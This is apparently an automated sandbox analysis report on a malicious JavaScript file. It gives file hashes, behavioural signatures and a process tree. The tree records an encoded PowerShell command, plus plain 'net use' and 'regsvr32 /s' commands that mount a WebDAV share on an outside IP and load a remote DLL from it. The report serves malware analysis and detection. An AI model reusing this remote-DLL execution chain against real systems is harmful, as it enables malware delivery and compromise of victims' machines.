Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2024 02:38

General

  • Target

    899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js

  • Size

    1.2MB

  • MD5

    efe60dd7bcf2ac31c217672d3e07f2a8

  • SHA1

    0a2191ac365331ed37acdf727153436d154f2296

  • SHA256

    899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e

  • SHA512

    de1c89f5f2cb8229cc47d37b41c44303de5a47688918d9f007d7b1625259ae683771320f18c938670b3ff32d39b19d5707520ca88eb8aa48a74ce44f645503a0

  • SSDEEP

    12288:jKO22qmJBFrbgRy/jM6uRrbYCXslYK5UV:jKO2mz9bgsA6uZbYC8J5UV

Malware Config

Signatures

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADIAMQA1ADYANAA2ADIAMgAyADcAMQA1ADQALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2668
      • C:\Windows\system32\timeout.exe
        "C:\Windows\system32\timeout.exe" 1
        3⤵
        • Delays execution with timeout.exe
        PID:2528
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2728
        • C:\Windows\system32\net.exe
          net use \\94.159.113.79@8888\davwwwroot\
          4⤵
            PID:1532
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\32156462227154.dll
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2788
          • C:\Windows\system32\regsvr32.exe
            regsvr32 /s \\94.159.113.79@8888\davwwwroot\32156462227154.dll
            4⤵
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:2560

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2668-4-0x000007FEF59AE000-0x000007FEF59AF000-memory.dmp

      Filesize

      4KB

    • memory/2668-5-0x000000001B640000-0x000000001B922000-memory.dmp

      Filesize

      2.9MB

    • memory/2668-6-0x0000000002130000-0x0000000002138000-memory.dmp

      Filesize

      32KB

    • memory/2668-7-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

      Filesize

      9.6MB

    • memory/2668-8-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

      Filesize

      9.6MB

    • memory/2668-9-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

      Filesize

      9.6MB